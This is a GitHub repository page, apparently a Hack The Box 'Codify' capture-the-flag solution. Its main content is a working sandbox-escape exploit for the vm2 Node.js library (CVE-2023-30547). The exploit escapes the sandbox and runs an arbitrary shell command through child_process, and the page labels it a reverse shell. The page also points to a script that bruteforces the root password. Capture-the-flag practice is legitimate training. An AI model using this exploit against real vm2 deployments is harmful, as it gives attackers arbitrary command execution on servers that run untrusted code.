Skip to content

Af7eR9l0W/HTB-Codify

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

HTB-Codify

Initial foothold and privilege escalation for HTB Codify

Reverse Shell

Based on CVE-2023-30547

Replace PLACEHOLDER with your bash command.

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('PLACEHOLDER');
}
`

console.log(vm.run(code));

Privilege Escalation

execute root_bruteforce.py to bruteforce root password!

About

Initial foothold and privilege escalation for HTB Codify

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages